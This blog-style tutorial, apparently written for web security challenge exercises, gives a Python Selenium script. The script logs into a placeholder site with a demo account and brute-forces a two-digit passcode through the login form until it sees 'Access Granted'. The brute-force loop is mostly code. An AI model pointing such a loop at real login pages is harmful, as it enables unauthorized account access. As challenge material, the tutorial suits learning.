Automating Web Challenge Authentication with Selenium WebDriver

Web security exercises frequently enforce multi-layered defenses, requiring explicit user authentication prior to exposing subsequent puzzle stages. When dealing with dynamically generated session tokens or complex anti-scraping measures, manual HTTP request crafting often fails without extensive reverse engineering. Browser autmoation frameworks provide a robust alternative by replicating actual client-side interactions.

Using Selenium with a headless browser engine allows scripts to navigate pages, populate forms, and interact with elements exactly as a human would. This approach bypasses the need to manually extract and submit cryptographic tokens. For demonstration purposes, we will automate access to a protected challenge endpoint using a pre-registered account.

The implementation below employs a timing utility to track execution duration. The script initiates a headless browsing session, performs initial authentication, and then iteratively tests potential passcodes against the verification form. Upon successful validation, the loop terminates immediately.

import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
from functools import wraps

def measure_execution(func):
    @wraps(func)
    def wrapper(*args, **kwargs):
        start_timestamp = time.perf_counter()
        result = func(*args, **kwargs)
        elapsed = time.perf_counter() - start_timestamp
        print(f"\nTotal execution time: {elapsed:.2f} seconds")
        return result
    return wrapper

class ChallengeSolver:
    BASE_URL = "https://example.com/challenge/"
    LOGIN_URL = "https://example.com/accounts/login/?next=/challenge/"
    
    TEST_CREDENTIALS = {"username": "demo_user", "password": "demo_pass_123"}

    @measure_execution
    def solve_numeric_lock(self):
        chrome_options = Options()
        chrome_options.add_argument("--headless")
        chrome_options.add_argument("--no-sandbox")
        
        driver = webdriver.Chrome(options=chrome_options)
        
        try:
            # Step 1: Authenticate via the login portal
            driver.get(self.LOGIN_URL)
            username_field = driver.find_element(By.NAME, "username")
            password_field = driver.find_element(By.NAME, "password")
            submit_button = driver.find_element(By.ID, "auth_submit")
            
            username_field.send_keys(self.TEST_CREDENTIALS["username"])
            password_field.send_keys(self.TEST_CREDENTIALS["password"])
            submit_button.click()
            
            print(driver.find_element(By.TAG_NAME, "h2").text)
            
            # Step 2: Brute-force numeric passcode (range 0-99)
            target_page = self.BASE_URL
            for candidate in range(100):
                driver.get(target_page)
                
                username_field = driver.find_element(By.NAME, "username")
                password_field = driver.find_element(By.NAME, "password")
                submit_button = driver.find_element(By.ID, "auth_submit")
                
                username_field.clear()
                username_field.send_keys(self.TEST_CREDENTIALS["username"])
                password_field.clear()
                password_field.send_keys(str(candidate))
                submit_button.click()
                
                status_text = driver.find_element(By.TAG_NAME, "h2").text
                
                if "Access Granted" not in status_text:
                    print(f"Trying value: {candidate} | Response: {status_text}")
                else:
                    print(f"Successfully matched credential: {candidate}")
                    print(status_text)
                    break
                    
        finally:
            driver.quit()

if __name__ == "__main__":
    solver = ChallengeSolver()
    solver.solve_numeric_lock()

Executing this routine produces sequential feedback indicating each attempted value alongside the server's response. Once the correct numerical sequence triggers the acceptance condition, the algorithm halts and releases the browser instance. The overhead introduced by browser initialization typically results in execution times around ten to fifteen seconds, depending on network latency and system resources.

Tags: Selenium browser-automation web-scraping python challenge-solving

Posted on Thu, 24 Sep 2026 16:19:12 +0000 by patrikG